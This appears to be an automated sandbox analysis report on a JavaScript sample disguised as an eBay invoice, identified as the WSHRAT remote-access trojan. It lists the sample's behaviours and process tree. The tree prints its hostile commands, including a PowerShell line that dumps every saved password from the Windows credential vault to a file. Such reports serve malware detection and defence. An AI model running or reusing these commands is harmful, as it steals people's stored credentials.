Overview

overview

10

Static

static

10

Ebay-invoice-27814.js

windows7_x64

10

Ebay-invoice-27814.js

windows10_x64

10

Analysis

  • max time kernel
    146s
  • max time network
    148s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    01/06/2021, 14:28

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Ebay-invoice-27814.js
  • Size 203KB
  • Sample210601-b5tca26y5a
  • SHA256 560386c6a67d6e2c217b7256bea1c9857a440b96cae388a72bfcc50b34ed6cd2
  • MD5 SHA1 SHA512
Score
10/10
wshratpersistencespywarestealertrojan

Malware Config

Signatures

  • WSHRAT

    WSHRAT is a variant of Houdini worm and has vbs and js variants.

    trojanwshrat
  • WSHRAT Payload 2 IoCs
  • Blocklisted process makes network request 27 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops startup file 2 IoCs
  • Loads dropped DLL 12 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 8 IoCs
    persistence
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Kills process with taskkill 2 IoCs
    evasion
  • Script User-Agent 25 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Ebay-invoice-27814.js
    1⤵
    • Drops startup file
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:3904
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" //B "C:\Users\Admin\AppData\Roaming\Ebay-invoice-27814.js"
      2⤵
      • Blocklisted process makes network request
      • Drops startup file
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:4004
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -command [void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime] $vault = New-Object Windows.Security.Credentials.PasswordVault $vault.RetrieveAll() | % { $_.RetrievePassword();$_ } > "C:\Users\Admin\AppData\Local\Temp\tmp.txt"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3748
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c cd "C:\Users\Admin\AppData\Roaming\wshsdk" && C:\Users\Admin\AppData\Roaming\wshsdk\python.exe C:\Users\Admin\AppData\Roaming\rundll > "C:\Users\Admin\AppData\Roaming\wshout"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2252
        • C:\Users\Admin\AppData\Roaming\wshsdk\python.exe
          C:\Users\Admin\AppData\Roaming\wshsdk\python.exe C:\Users\Admin\AppData\Roaming\rundll
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          PID:3984
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c taskkill /F /IM cmdc.exe
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1340
        • C:\Windows\system32\taskkill.exe
          taskkill /F /IM cmdc.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1204
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c taskkill /F /IM cmdc.exe
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2164
        • C:\Windows\system32\taskkill.exe
          taskkill /F /IM cmdc.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1576
      • C:\Users\Admin\AppData\Roaming\cmdc.exe
        "C:\Users\Admin\AppData\Roaming\cmdc.exe" /stext C:\Users\Admin\AppData\Roaming\cmdc.exedata
        3⤵
        • Executes dropped EXE
        PID:2244
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c mkdir "C:\Users\Admin\AppData\Roaming\wshlogs"
        3⤵
          PID:856

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/3748-127-0x000001D974A90000-0x000001D974A91000-memory.dmp
          Download

          memory/3748-138-0x000001D974A80000-0x000001D974A81000-memory.dmp
          Download

          memory/3748-123-0x000001D9748E0000-0x000001D9748E1000-memory.dmp
          Download

          memory/3748-135-0x000001D958B23000-0x000001D958B25000-memory.dmp
          Download

          memory/3748-128-0x000001D974A10000-0x000001D974A11000-memory.dmp
          Download

          memory/3748-133-0x000001D958B20000-0x000001D958B22000-memory.dmp
          Download

          memory/3748-140-0x000001D958B26000-0x000001D958B28000-memory.dmp
          Download